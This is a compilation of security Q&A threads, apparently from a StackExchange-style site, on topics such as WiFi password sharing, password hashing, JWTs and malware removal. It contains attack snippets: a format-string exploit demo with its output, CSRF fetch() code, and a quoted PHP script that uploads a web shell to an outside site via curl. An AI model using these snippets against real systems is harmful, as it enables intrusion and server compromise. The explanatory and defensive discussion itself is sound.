How to protect a Wifi network from Microsoft WiFi Sense Microsoft is deploying a new feature, WiFi Sense, which provides users a way to easily share passwords to wireless networks with all of their contacts.  This introduces a new security failure mode: a user might decide to share a wifi network password that maybe they shouldn't have.  All it takes one user to share the wifi network with their contacts, and now others  who might not be authorized might gain access to the network.

What options are available to a network administrator who wants to ensure that their wireless network's password can't be shared through WiFi Sense?

Here's what I've found.  Microsoft says you can prevent a wifi network's password from being shared by adding _optout to the network SSID.  Also, it sounds like networks that use 802x EAP might be immune (is this true?).  Are there any other methods?

Just to add on, _optout_ can be added anywhere in the SSID not necessarily at the end. However, Google's _nomap has to be placed at the end.

Yes, 802.11x will networks will not be shared through WiFi sense.
Official source: Microsoft WiFi sense FAQ. Look under "I'm concerned about sharing Wi‑Fi networks. Can you tell me a little more?"

Theoretically, another way to protect a network is use the "hidden SSID" feature. This feature disables the broadcast of the SSID in beacons. Thus, the client device will need to know the SSID to send a probe request to the AP. WiFi Sense will not work here because without the SSID, there is no way for the client device to check if it the SSID is among those that are shared.

Note: This is only in theory, I am unable to find information on the web proving or disproving the above.


Should a browser make its own password manager? I'm trying to figure out if products such as Firefox's Lockwise are a superb idea or a terrible one.

On the one hand, installing a third-party addon to your browser comes with inherent risks, so cutting out the middle man and using a password manager made by the browser manufacturer could be seen as having less risk.

On the other hand, keeping passwords in the browser has historically been seen as very insecure (at least back when nobody encrypted them), and using a tried-and-true password manager that has had bug bounties on it for years and held up to a lot of pentesting could be advantageous, and browser manufacturers might not be specialized in the type of security necessary for password management (in-browser products might be seen as roll-your-own solutions).

Are there any risks I'm missing? What might (or 'does' if you would like to speak to this specific case) mitigate the risks?

I assume you are asking if you (the user NH) should trust a browser's built-in password manager, or if you should install a third party plugin; and not whether or not Mozilla should develop another password manager.

Before I get started, keep in mind that security isn't just about vulnerabilities or architecture or protocols or passwords; it's an overall idea that you (NH) depend on to protect yourself.

Now, consider that every browser's password manager is almost always specific to that browser, and that browser only.  To use your example, Lockwise will sync and auto-fill passwords in Firefox on your desktop at home, in Firefox on your laptop, in Firefox on your iPhone, and in Firefox on your Android phone.  But it will not enter passwords in Safari on your iPhone, or Chrome on your Android phone.  It is not (yet) a general password manager that will enter passwords for your other apps on your phones, or laptops.

Third party password managers have a different objective.  They attempt to offer as many integrations to apps, operating systems, and browsers as possible so they can truly provide a single keyring.

Virtually all third-party password managers offer browser plug-in components.  Many applications offer integration for authentication plugins.  And for those systems where nothing is offered, most desktop versions of password managers can still use phantom fingers to auto-type your credentials into whatever application windows need them.  Also note that some modern password managers can now replace your iOS keyring, so all your iPhone credentials are managed in the same externally managed database.

So why did I start this by mentioning your overall security?  Because if your password manager doesn't manage every single one of your passwords, as a human you are still likely to choose easy-to-type passwords whenever your credentials are shared across applications or platforms that aren't supported by your password manager.  Choosing "p@ssword" or "12345" for those occasions where your browser's tool doesn't work will likely increase your overall security risks far more than a browser-based password vulnerability.

So in the overall picture, it seems that the most important security attribute of any password manager is the ability to integrate with the greatest number of your own platforms and applications. Maybe Lockwise will do this some day, and you'll be able to use it with Firefox, Safari, Edge, Chrome, Opera, Windows, MacOS, iOS, Android, and Linux.  But for now, it seems that third party password managers offer the best overall integration options, which should provide you with the most overall protection.


Why do some websites force users to come up with difficult passwords? I can't understand why we commonly force users to come up with difficult to remember passwords.

  * Your password must contain at least one number, one uppercase character, and one special character.

Is this to protect the user from themselves (someone logging in by guessing their password), or is it meant to protect our application or other users?

As a user, I find password format restrictions very annoying. As a programmer, I don't understand what the point is. If we force someone to create a password that's hard to remember (if it's not one of their "usual" passwords), there's a good chance that they will write it down or store it in a file somewhere in plain text, which seems like it defeats the point (at least to some extent).

Doesn't a strict password format make it easier for an attacker to "guess" a password by reducing the number of possibilities?

What's the motivation behind forcing a user to come up with an obscure password?

When a site implements something, it is always to serve their interests; however, this sometimes coincides with serving the user's interests as well, e.g. as in "protecting the users against themselves", which is the case here.

The point of the restrictions is to (try to) make the password harder to guess by an attacker. Truly, preventing some users from using some specific password values mathematically reduces the number of possible passwords; but, practically, this is more about forbidding the easy passwords that users would almost always choose if they had the choice. The total number of possible passwords is ludicrously large. If we consider that a password may include letters (lowercase and uppercase), digits, and, say, some punctuation signs which are accessible from a common keyboard; and if we allow passwords to go up to 30 characters in length, then the number of possible passwords is equal to 157935773974908502215194845377591539584935386309545795005451 (including the "empty password" of length 0; otherwise, subtract 1 to that count). Possible passwords are not a scarce resource, and there is little problem in removing a few billions from that count.

The scare resource is user imagination and patience. Given the possibility, most users will use short passwords with only lowercase letters, because that's what most easy to remember and type. And they will pick "meaningful" words, e.g. "castle" and not "bsigrz". The attacker knows that: easy passwords are the first that he will try, and there are not many of them, so the attacker will succeed.

The "password rules" are an attempt to force users away from the easy passwords. If you force them to include a digit and an uppercase letter, they will do so, but with a digit that the attacker cannot predict, and with the uppercaseness applied to a random letter. (At least theoretically; in practice, users will put the uppercase on the first letter, and the digit will be added at the end, and will be a '1'). The fervent hope is that this will increase the number of possible passwords that user will effectively choose, and thus make things harder for the attacker.

Password rules may backfire, sometimes spectacularly; users will forget their password and nag the helpdesk; users will write the password on a stick-up note cunningly concealed under the keyboard. (As far as backfiring goes, writing a complex password on a piece of paper stored in the user's wallet is not that bad: at least, users care about the whereabouts of their wallet.) One very common instance of backfiring is, exactly, having a "usual" password which the user uses with many sites. This means that a security breach on one site immediately extends to all other sites on which the user also has an account. That's Bad.


What algorithms are best be cracked by GPU? What algorithms are best being attacked by a GPU powered password cracker?
For example, I heard that md5crypt that is being used in unix shadow file, is not the best choice for GPU cracking because it is practically md5 being utilized 1,000 times over the original password to get a hash...

Thousands of iterations of MD5 make the password hashing harder for everybody, regardless of the type of hardware used. It does not make things specifically worse for a GPU. What makes things harder for a GPU (compared to a generic purpose CPU) is anything which uses lots of RAM: a GPU can access much RAM, but not with full parallelism.

Algorithms which rely on 32-bit integer operations (arithmetic and logical) are very efficiently implemented on GPU. This includes MD5, SHA-1, and the "small" SHA-2 (SHA-224 and SHA-256). SHA-384 and SHA-512 use 64-bit operations, and GPU have trouble with that -- so a GPU will give you a lesser boost when cracking a SHA-512 based password hash than a SHA-256 based function. Bcrypt uses a lot of memory accesses to a mutating 4 kB array, and GPU will suffer on that, to the point that basic CPU may be a better choice for trying to crack bcrypt passwords than a GPU. Theoretically, scrypt is even more hostile to GPU.

This is why bcrypt can be viewed as a better choice for password hashing than PBKDF2 (the standard way of doing multiple nested hashing with a generic hash function like SHA-1)(see this answer for details). Still, the configurable number of iterations can make password cracking quite difficult even for a huge GPU, and PBKDF2/SHA-256 with one million iterations will be tremendously more secure against attacks than a single call to SHA-512.


How can I circumvent the lack of Java updates? Just imagine you have a bunch of computers which need Java for some important software and you can't just switch to another vendor because all are using Java in this field of technology. If you start to update Java the software is causing problems and will not start but you need this software essentially so there is no way around this problem.

What can you do to leverage this lack of Java updates? Usually those machines tend to get infected by multiple malware based on Java (e.g. sopiuhdu243.class). All those files are located withn Java's Cache. What can I do now beside Java Update or not using Java at all which is not an option at the moment. I hope someone of you outside has more experience with problems like this.

It sounds like you are in a corporate environment with in house or vendor specific applications needed for business. You should be able to use a combination of code signing and whitelisting to setup policies where it will only run the JAVA applets and applications that are authorized. This is not full proof, but may help to reduce infections.

See the JAVA documentation:

  Very High:  You are prompted to accept apps that are signed with a
  trusted certificate. All other apps are not allowed to run. If the JRE
  is below the security baseline, you are given an option to update.


How to properly protect /home with separate user accounts on Linux A great quote from this InfoSec stackExchange thread.

  The way to prevent malicious code from damaging files in your home
  directory is to not run it using your account. Create a separate_user
  that doesn't have any special permissions and run code under that UID
  until you've determined whether or not you can trust it.

Most code I run, that has the potential to be malicious, is niche scientific applications that install via sudo apt-get install suspect_program. apt-get will give the suspect_program root access during install. The code can therefore run anything malicious it wants anywhere it wants on my system.

How does running the code under a seperate_user account protect any other accounts on my Ubuntu Linux box? I already gave the suspect_program root access when I installed the darn thing.

If you gave the program root access, you can't prevent it from accessing your account.

(By “root access”, I mean “the highest level of privileges”. It's possible to run programs as the user root without granting them the highest level of privileges, through security frameworks such as SELinux. However, to get actual protection, you'd have to run the package manager with restricted privileges, in a way that doesn't let it escalate its privileges by e.g. creating a setuid binary or a cron job. I think this is possible, but it would be very hard to set up and I'm not aware of an existing framework that does this.)

To really isolate the program (including its installation scripts), you should install and run it in a virtual environment. If the program doesn't need to access hardware directly and doesn't need to squeeze out top CPU performance, run it in a virtual machine. If that's not feasible, run the program in a container, which creates a virtual userland environment on the same kernel as your main environment. Since the program is running on top of the same kernel, its performance is not affected by running in a container, and the container has access to any device you choose to let it access. A program running as root in a container is only root inside the container, and cannot access files that are not shared with the container. Docker is a popular software to manage and distribute containers.


how to identify p2p on network Im trying to work out if the traffic in the below image is P2P file sharing?

If you notice the source ports are all random but the time 17.24 from c.port 58338 runs for a good length maybe about 400 packets. Is there a way to identify if this is p2p traffic in wireshark?

This is a forensics challenge so it wont look like real world network traffic. It also looks like port scanning to me so this is more of a question related to how to identify p2p network traffic.

I'll assume you're talking about BitTorrent, rather than Gnutella or other P2P protocols.

There's no standard port for BitTorrent traffic, so you're going to have to do some digging.

First, BitTorrent talks to a set of trackers. This communication is done over HTTP, and will have (at least) the following headers:

info_hash - a URL-encoded hash of the metadata (.torrent) file.
peer_id - a URL-encoded random string.
port - the port number that the client is listening on - useful for filtering later!

However, sometimes this is done over HTTPS, so it makes it a little more difficult to detect. You should look for any traffic occurring on ports 80 or 443.

Next, you're going to want to look for traffic between peers. The peer handshake nicely provides an easy-to-search header:

<pStrLen><pStr><reserved><infoHash><peerId>

The pStrLen field tells us how long pStr is in bytes, and pStr is the protocol identifier. Normally, this is "BitTorrent protocol", so pStr will be 19. You can therefore search for packets that start with 13 42 69 74 54 6f 72 72 65 6e 74 20 70 72 6f 74 6f 63 6f 6c.

Some BitTorrent clients support encrypted client-to-client protocols, but I'd guess that they're not going to be that rough on you for a forensics challenge.

Source: http://wiki.theory.org/BitTorrentSpecification

It's possible to identify encrypted BitTorrent traffic using passive statistical analysis. Erik Hjelmvik and Wolfgang John showed techniques for analysing encrypted communications protocols, including BitTorrent. Table 5.4 in their paper shows the confidence level to be 0.965 for MSE (encrypted BitTorrent). Section 6.1 explains some details of the analysis, and mentions a few properties that can be identified with relative ease.


Incomplete Data In Format String Dump I've been practicing format-string attacks lately and I thought I knew how it works but after hours of research I did not manage to get the expected results.

I made a sample program which has a filled buffer and a format-string exploitable buffer:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[50] = { 0 };

    memset(&buf[0], 'A', 49);
    printf("Data: '%s'\n", &buf[0]);
    printf(argv[1]);
    return 0;
}

gcc a.c -fno-stack-protector

For some reason, when executing it with the format-string exploit I happen to retrieve only 25 A instead of the total of 49 filled thanks to the memset call.

$ ./a.out "`python -c 'print "%08x " * 30'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 17d37780 7fffffc7 00000000 0000003a ca18d548 00000000 41414141 41414141 41414141 41414141 41414141 41414141 ca180041 0d423100 00400680 17991830 00000000 ca18d548 17f60ca0 004005d6 00000000 c642cb54 004004e0 ca18d540 00000000 00000000 63a2cb54 e492cb54 00000000

Furthermore, I've been trying to retrieve the A individually by going character by character, but it appears to fail after a certain amount:

$ ./a.out "`python -c 'print "%08x " * 7 + "%c" * 25'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
00000002 225e2780 7fffffc7 00000000 0000003a 5264fb08 00000000 AAAAAAA�������

Why does the first command only print roughly half the number of As expected ?
Why does the second command fail to print the As after a certain amount ?

Thanks.

You're doing it correct, you're just not using the correct string format.  The injected printf is reading memory 8 bytes (64 bits) at a time, but you're only printing 4 byte (32 bit) hex dumps.
Try using a "long" version of the hex format instead: %016llx:

$ ./a.out "`python -c 'print "%016llx\n" * 30'`"
Data: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
0000000000000000
00000000ffffc8e8
000000018013ff20
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
4141414141414141
00000000ffff0041
0000000000000000
0000000000000000
...


Why does a strong router password matter? A strong password is always better than a weak password, but even after reading this answer I am confused why a device password is needed in addition to the Wifi network's security key.

Assuming that no remote access features are enabled, I believe an attacker would need to be joined to the network locally in order to access the router. An obscure SSID and strong security key should prevent that.

Am I thinking about this incorrectly?

I assume you're talking about a couple bsumer level router (router+switch) with a web GUI for configuring it.

All the traffic on your network passes through your router. This includes DNS queries

Eg. What is the IP for google.com

Is anyone on your network has malware on their device, that could connect to the router, and use a default password (or guess easy ones) to change your DNS setrings, port forwarding settings, etc.

This means they could set a malicious DNS server, which would respond to your query with a malicious IP, effectively rerouting your traffic through the attacker.

They can also modify your port forwarding settings to allow future intrusion, or to use your system as a command and conquer teol for a larger attack.

Default passwords on routers allow malware and attacks to spread through the rest of the network.

An even more advanced attack would be to modify your routers firmware by uploading a hacked copy that speed out spam, attacks other people, or just siphonss your data.


Is it possible to list folder from my web server if i have an empty index.html in the root folder? I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory.

I want to be able to share link with people i know, by creating a folder that look like this: 0gzzfiz4pf80mn8dw1k3

So my friend would go to www.mysite.com/0gzzfiz4pf80mn8dw1k3 and be able to download the files i have put in this folder.

Is this a secure way to share file?

I understand that someone could listen in but what i don't want is people browsing www.mysite.com and be able to get a listing of those special folder i created.

EDIT:

Ok, so you need to deactivate directory listing and I would create a index.html file in that folder that redirect to the actual file i want to share with them. I am aware of the MITM problem, not really my concern here.

If I do deactivate directory listing, is there any other way other than brute-force to find my 0gzzfiz4pf80mn8dw1k3 folder?

You can disable directory listing in Mongoose using the following:

./mongoose -d no      [ Runtime ]
d    no               [ Config File ]

But why not password protect the directory with a .htaccess file?

./mongoose -A ./.htpasswd localhost admin pass

You'd still be susceptible to a MITM attack, so use this with SSL. While this may be a simple, lightweight web server, something like a full blown Apache will be much more hardened against exploits.


Best practices to invalidate JWT while changing passwords and logout in node.js? I would like to know the best practices to invalidate JWT without hitting db while changing password/logout.

I have the idea below to handle above 2 cases by hitting the user database.
1.Incase of password changes, I check for password(hashed) stored in the user db
2.Incase of logout, I save last-logout time in user db, hence by comparing the token created time and logout time, I can able to invalidate this case.

But these 2 cases comes at the cost of hitting user db everytime when the user hits the api. Any best practise is appreciated.

There's no solution unless you are hitting the DB. You could reduce the number of lookups though to one instead of two.

Upon password change or logout, you write a 128 bit number generated by a CSPRNG to that user's row in your user table.

This CSPRNG forms part of the JWT. On every access you would need to check that the number in the JWT matches the value stored in the DB. There's also no advantage to the MAC being calculated over this value, we are just keeping it in the JWT so everything is in one place.

This sorta defeats the purpose of using JWT in the first place - you might as well simply use a session token that is checked server-side. The advantage though is that you don't need to maintain individual sessions server-side as once a JWT expires it has expired because you won't accept any with expiry dates in the past.

Another disadvantage is that if there are two sessions against the same user, logging out one would logout the other. Also, the logic is more complicated than a server-side managed system, and extra complexity tends to reduce security.


Generating secret keys with secret keys Hydra is a secretive organization. It is comprised of several Directors at the top, and many Agents underneath them.

A Director sends Agents on secret missions. During these missions, communication is spotty and unreliable. Agents rely on untrusted messengers to deliver messages back to the Directors. Messages include the # of the agent (33, etc.). The content of these messages are not secret, but it is crucial that they are not faked.

Before the Agent leaves, the Director issues him secret key that Agent "signs" his messages with to verify authenticity. Agents have different keys, and should not be able to fake messages as other Agents. These keys are good for six months. Directors reject any messages signed with a key issued more than 6 months ago.

Directors maintain very minimal communication among each other. They do not know when the others issue keys to Agents, though they each must be able to independently verify the authenticity of messages received from these Agents.

Directors share a top-secret key that they can use to create keys for the Agents.

I need to implement this system.

Are there certain terms for what is happening?

What cryptographic primitives should be used, and how and where are they applied?

I believe I will be using an HMAC, but the multiple levels of keys in play makes things less clear to me.

When a Director sends an Agent with id (A) on a mission, he generates a timestamp (B) and an HMAC of A and B (C), using his secret key.

He gives B, and C to the Agent. C becomes the secret key of the Agent.

When an Agent sends a message, he calculates an HMAC of it (D) using C and includes it in the message. He also includes A and B. C is of course secret and not transmitted.

When a Director receives the message, he verifies that the timestamp B is less than 6 months old. Then he recalculates C by taking an HMAC (using his own secret) of A and B. He then uses C to calculate an HMAC of the message, and verify that it matches D.


External hard drives: 'date last accessed' file? I'm trying to figure out if there's a way to figure out when files on my external hard drive were last opened. I'm using a Seagate Backup Plus, and it's both mac and PC compatible. BUT, I've also read that updating of the 'accessed' date is usually turned off by default on these drives to save space. This seems to be the case, because when I checked it on my mac the dates it gave me under 'date last opened' appeared to be when the files were created, not when I last opened one (ran one as a test case). Does anyone have any suggestions? Thanks in advance for your help.

They aren't turned off to save space, but rather because it results in an unnecessary amount of writes when you are reading a large number of files. You can view the various timestamps entries both on Windows and Linux, as outlined in this answer. I am assuming you are using either Windows or Linux.
Window with NTFS
Windows uses MACE for timestamps on files, meaning Modify, Access, Create, and Entry modified. On Vista systems and later, access times are disabled by default via a default registry value of 1 for NtfsDisableLastAccessUpdate. When this is the case, the access time will only be updated when the file is created or modified, making it unreliable for determining the dates of last access.
You can re-enable access times by toggling the registry value or by using the following command:
fsutil behavior set disablelastaccess 0

Linux with ext4
Linux uses MAC for timestamps on files, meaning Modify, and Access, Change, often called mtime, atime, and ctime, respectively. The difference between mtime and ctime is subtle here. The mtime is only updated if the contents of the file are modified, whereas ctime is updated if either the contents or metadata are modified. Many Linux systems use a mount option called noatime which disables access time updates. The atime will only be updated when the mtime or ctime change. There is also the common relatime mount option, which updates the atime only if the previous access was earlier than the current ctime or mtime. It is used to reduce unnecessary disk writes while still preserving some information about accesses.
A small triviality is that modern ext4 filesystems have an additional two timestamps which are not available to userspace by default: crtime (creation time) and dtime (deletion time). The dtime is obviously only present in deleted inodes and has an unclear purpose, and the crtime is just not displayed for legacy reasons.
You can temporarily re-enable access times using the following command:
mount -o remount,strictatime /path/to/mountpoint

Permanent changes require editing fstab(5).


Is it safe to install metasploit on my work computer? I'm new to metasploit, and want to install it on the work computer I use every day; but I'm not sure whether it is safe.
Are there any best practices when using metasploit?

While installing metasploit on your machine will not directly cause any issues you should be aware of the following:

metasploit, like all other software, can introduce vulnerabilities as a result of the underlying components that make it work, the database listener and Ruby service are installed as well as a web framework depending on the version installed. If your computer is not adequately protected or new exploits are found for this software, it may be possible to compromise your machine. This is an inherent risk of installing any software.

metasploit allows for the creation and generation of 'malicious' payloads. If configured incorrectly or run accidentally on your machine could introduce vulnerabilities as well.

many antivirus solutions will detect metasploit modules and exploits and prevent them from running by placing them quarantine. If you have AV installed you'll need to provide exceptions for it which is, overall, reducing your effective security.

In summary, it depends on what you define as safe. If the above risks are acceptable, go ahead. The metasploit framework is well renowned and as far as anyone knows, isn't backdoored in any way. Assuming you download it directly from rapid7 I would imagine there would be no issues.


Is there any benefit to spammers oversaturating a service? If I understand correctly, spam is most effective when it looks like real content and entices a user to do whatever the spam is asking it to (for example, clicking on a link.) Naturally, keeping a low profile would be essential to hiding it from the prying eyes of moderators.

However, what I've noticed in practice is the opposite. Spammers will use as many resources as possible and attack websites relentlessly, to the point where the service is no longer usable. With no real users to be tricked and the spam being so blatant that it can't possibly trick anyone, why would they waste resources doing this?

I understand the shotgun approach in which random websites will get hit by spammers. But I've noticed on certain websites, like chat websites, that the spam is targeted specifically towards that website.

How does oversaturating a website possibly benefit a spammer unless their intent was to make the website unusable for others?

Spammers will use as many resources as possible and attack websites relentlessly, to the point where the service is no longer usable. With no real users to be tricked and the spam being so blatant that it can't possibly trick anyone, why would they waste resources doing this?

There are a couple of reasons why websites will get massive amounts of spam attacks. More than likely, it's because there are a lot of spammers. There are many, many companies out there dedicated to creating illegal spam bots and flooding the web. Many of them just happen bombard the same place.

If it is a sudden, out-of-nowhere spike in traffic that crashes the service than it could be an attempted attack to gain access to the system, or it could be a DDoS attack. This means someone or some organization is trying to compromise the system, rather than utilize it for promotional purpose.


How to avoid reveal password in a form? I've recently discover that if you use inspect element to see the source code of the Html, you can change this <input type="password"/> to <input type="text"/> then you can see the password revealed, So, how can I avoid that in angularJS? or pure Javascript?

Any dark in the light will be appreciated.

This sounds like a bad case of Security Theater

  Security theater is the practice of investing in countermeasures intended to provide the feeling of improved security while doing little or nothing to actually achieve it.

I say this because in all reality...

  Given enough time, effort, and computing power security is nothing more than a delay.

Of course it gets worse than that. Javascript is an computer based language, which means it must be run by a machine. That machine can be told to ignore your Javascript.

What this really means though is that you're asking the wrong question. What you're really asking:

  How do you keep your forms safe from someone using saved passwords to fill out the form, and then changing the type of the form to read it?

And to this answer it's pretty simple:
Keep your terminal safe and secure. The only way to prevent this kind of attack is to not let an attacker on a system with a saved password in the first place.

Why? Because you have a "spectrum". Let's call it the security spectrum in this simplified example:
At the basis of simple security you have the following:

Security >----------------------------------------------< Ease of Use

In most cases this is what happens:
The more Security you have, the less Ease of Use you have.
The more Ease of Use you have, the less Security you have.

By using a form that has a password in it and leaving it there, you are increasing your Ease of Use and decreasing your Security


How to manually test for DROWN attack? We know that the official website serves the user with a way to test our servers against DROWN attack. Apart from that, I am looking for a manual testing method to check any servers against this vulnerability. I found some methods to test POODLE here. I am looking for something similar.

There are several ways to manually confirm the results:

1- Using nmap:

nmap -sV -sC [IP]

2- Using SSLyze

sslyze --sslv2 [IP]

3- Using Google SSLScan

sslscan --no-failed [IP]

4- Directly with openSSL

openssl s_client -no_tls1 -no_ssl3 -connect [IP]

5- Externally-accessible hosts can be tested with

https://www.ssllabs.com/ssltest/

Make sure you have SSLv2 enabled on your machine. For more information, please see http://www.softwaresecured.com/2016/03/01/how-to-confirm-whether-you-are-vulnerable-to-the-drown-attack/


Does Google Chrome store browsing history on their servers? Does Google Chrome store browsing history on their servers? I think, if for example I use private browsing, Chrome can still log my activity.

Yes.

If you're logged into chrome, and not using incognito, then sure.

If you're not logged in to chrome, they store a list of all the sites you've visited through their tracking cookies.

Assuming you're using incognito, there are lots of ways people track you. Here are a few.

If you're using private browsing, there is not local history, and there is no tracking cookies (unless you don't close the private browser, and there is a tracking cookie that maps all the sites you visit while using the private browser. So, if you login with gmail, then visit p..nhub, then google probably mapped you to that url and then yeah, you're in their records.

If you're using your ISP's DNS, then your ISP can see all of the host names you resolve. They also know your name, address, and credit card number. So if you visit p..nhub from your ISP, they have a record that you went there. They don't know anything beyond that if the sites you visit are HTTPS, but if they are HTTP, then they can see the pages you visit too.


which memory hard hashing algorithm can equalize low-computational and high-computational power devices to utilize blockchain in the IoT? Recently IBM and Microsoft showed their interest (IBM post, Microsoft post) in utilizing bitcoin's blockchain for internet of things (IoT) development. Let's assume that in close future the blockchain technique to be implemented in smart cars overlaying road conditions or traffic data to each other. Bitcoin's Blockchain is based on a SHA256 Proof-of-Work or finding a proof which when is hashed is more than a target. This helps to tackle double-spending attack.

In the example of future smart cars described above the majority of honest nodes will be low-computational power devices (maybe like raspberry pi) therefore, it will be easy for adversary to perform a double-spending attack if implemented mining algorithm will not be able to bottleneck mining capabilities of devices.

In the question "How can I make sure password hashing is secure on computers while not being prohibitively slow on mobile devices?" Mr.nsl is looking for a password hashing algorithm that can give balance between security and speed for fast-CPU and slow mobile devices. I am looking for an algorithm that can resist fast CPU/GPU to use their computational power for overtaking advantage over the network of low-computational device. Therefore I have two assumptions how to tackle this issue:

Utilize a hashing function that can provide a fairness/balance to a certain extent between low-computing and faster-computing devices (e.g., between laptop and raspberry PI).
While connecting to peers in a network nodes send each other versions and if versions are the same, nodes proceed with exchanging verack (a connection ackknowledgement) messages. Hence maybe these devices should along with a version of installed client should send their computational abilities. Therefore if a requesting peer possesses too much of computational power no other nodes will connecto to him.

Therefore questions,

Even though I understand that solving proof-of-work is directly influenced on one's computational speed, can a crypto person suggest me a memory hard hashing algorithm that can satisfy assumption #1, i.e. be good for the raspberry pi (which currently has max of 512 MB RAM) and not let an average computer with 8GB to overtake a network and perform double-spending attacks?
Also, is it physically possible to send your real computational power during a handshake with a node?

Thanks

While memory-limited algorithms are discussed in the altcoin community ("alternative" cryptographic coins based on ideas similar to bitcoins), they do not primarily solve the disparity between a "low-end" general purpose computer (e.g. the RasPi) and a high-end general purpose computer, but they are used to prevent special-purpose hardware that exceed computational power (also computational power per Watt) by multiple orders of magnitude. The idea is that hashing does not need much chip space, and you build a chip that calculates many hashes in parallel by just copy/pasting it many times into one case. On the other hand, memory does need space, and megabytes of memory need lots of space (take a look at current processor die pictures. The vast amount of die space is occupied by caches, not by the calculation engine). For bitcoins, special-purpose bitcoin mining chips (FPGA miners and later ASIC miners) "took over the world" around 2 years ago, because they outperform general-purpose machines. That's the reason coins like DogeCoin use the Scrypt algorithm already mentioned by sukosevato.

The ration between RasPi memory (0.5GB) and an enthusiast's PC (32GB) is likely even greater than the difference in CPU power between those devices, so going memory-limited doesn't help the RasPi to catch up. In fact, if you can not prevent a device that has n times the computational power and n times the memory of a smaller device, to just behave like n of the smaller devices.

So in summary: I don't think you can find a hashing algorithm based on CPU and memory operations that does not give fast (gaming) PCs a big advantage over the Pi (which still has a lot of computing power).

Addressing your second question, sukosevato is right again: There is no way to prevent a device claiming to have a lower computational power than it really has. A fast device pretending to be a slow device can be caught if it systematically takes advantage - if you know the hashing speed of a device, you know how many coins it sucessfully mine in a certain time interval. If it takes advantage of getting "small devices bonus" by needing to solve less difficult hashes, and submitting more solutions than you can realistically find with the small device, the network could try to ban you.

The only reasonable way I see to prevent devices claiming too low computing power is to make showing the increased computing power more advantageous than hiding it. Alas, this directly translates to: The faster device must be able to convert the full speed advantage to profit, otherwise it could try to play slightly unfair and exploit the "slow device bonus".


Infection I can't shut down, disguises process as scvhost.exe A little while ago my home machine got hit and I was able to clean out just about everything except this one process.  I can't find the origin but it shows in my process manager as scvhost.net by the SYSTEM user.  It gradually takes up more of my memory and sometimes plays what seem like random audio tracks.  I can shut down the process but within a minute it will start up again.  I've tried several fixes I found through google searches but nothing seems to work.  Any ideas?

If you are able to see the process and even terminate it, it's not protecting itself too well. Even if the only way to be sure you're eradicated the virus is a clean reinstall, chances are that the infection isn't technically very advanced and may be eliminated with "reasonable" certainty.

I assume you already tried with System Restore and had no luck. If you didn't try, verify whether you can revert the system to a state preceding the infection. If you could, that would be something you might want to try (but see at bottom for a caveat).

Otherwise, start by grabbing a tool like Process Explorer and display the process tree after a clean (well, dirty...) reboot. You will be able to see the scvhost process and its parent. Usually this 'restart' trick is managed either through the service interface, or by two different programs that "look after" each other, restarting their companion as soon as they see it down.

So first you check the scvhost object.

If its parent is an "unknown" binary, not part of the Windows system, you can "suspend" both parent and child. Neither will react, since you killed neither (yet). If the parent is "services.exe" (and it's the real services.exe), then your infection has disguised itself as a service, and you need to suspend the child only.

In the service scenario, open the Services console, set it to "Do not restart if terminated", and disable the service so it doesn't run at boot. Then kill the child process (having been suspended, it shouldn't be able to notice the settings being changed and change them back), and try rebooting. See the note at bottom for a caveat first, though.

If it wasn't a service, look on the disk for the parent process (Process Explorer usually tells you where the process started from). In these setups, the parent has the only tasks of launching the child and overwatching, and trying not to attract attention. You might not find the child executable (might not even be a file on its own), but you should be able to remove the parent. Look for its name in the usual places in the Registry (or you might want to also try Autoruns).

Before doing this, verify you do have a current backup of your data files. It is conceivable that the infection might have either rendered the system unstable, or purposely booby-trapped it, and this rather brutal removal might trigger something unpleasant.


Is it generally safe (and compliant) to log a stack trace? I work on financial web sites that maintain PCI-DSS, FDIC/FFIEC, and ISO-27000 compliance.  Also, we are big fans of OWASP :)

Our web sites log errors in cleartext to a flat file held on the web server.  These sites handle a lot of high value PII.

I am wondering is it generally safe, and compliant, and I shouldn't give it a second thought, to log the stack trace when an exception is thrown?  Are there any questions I should ask myself before including it?  Or is this a no-brainer?

Stacktraces would be really valuable for the developers in order to understand bugs in your application (Or for administrator in case of being attacked), but you shouldn't be loging sensitive information like usernames, passwords or any similar information. That's cause if you do and your logs fall in bad hands, the harm could be much worse than some attacker being able to understand a few bugs

Also, logs should be stored in a different partition than your webserver, that's to avoid a possible DoS. Under certain attacks your log files will increase drastically which may fill the webserver partition and prevent it from working. A good backup policy to prevent this is encouraged too


Recover password or password hash from locked account I have a locked administrator account. Other accounts are unlocked, but they have no rights. I want to get a password from the locked account, or maybe password hash, if possible.

If you have no rights at all, then you are out of luck. There is no way to retrieve the password. Depending on the operating system you can reset the passwords in different ways:

Windows

For windows you will need to reboot the machine and use a special CD to try and reset the password. One tool you can use is this one: http://pogostick.net/~pnh/ntpasswd/bootdisk.html

Linux

On  Linux you need to boot with a live CD, mount the hard drive and generate a new hash for the root password on the live cd using passwd. Then go to you /etc/shadow and copy that hash for your root account to the /etc/shadow on the mounted hard drive. When you reboot your machine the password will be the password you generated on the live cd.


CSRF attack on file upload functionality Is it possible to perform CSRF attacks on file upload functionality? My application uploads files by sending multipart/form-data POST requests without any random token. Is it possible to prepare a HTML form which will demonstrate this attack on the application?

Yes, you are vulnerable. Every endpoint that modifies the state of your server needs to have protection against CSRF attacks. File uploads are not excluded.

So how can this be exploited? If your site is example.com the attacker host some JS like this on a site that she tricks the victim into visiting:

myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
    method: "post",
    body: myFormData,
    credentials: "include"
});

This will make the victims browser send a POST request to your site, with whatever the attacker chooses as fileContent as the file.


How can someone upload a PHP file to a server without an upload form? I was entrusted with an existed website for which I should do some changes on the design part, but when I was about to access it, i've seen that it has been compromised. When I was searching for the problem, I found an exploit PHP file containing this code:

$uploadfile="shell.php.jpg";

$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));

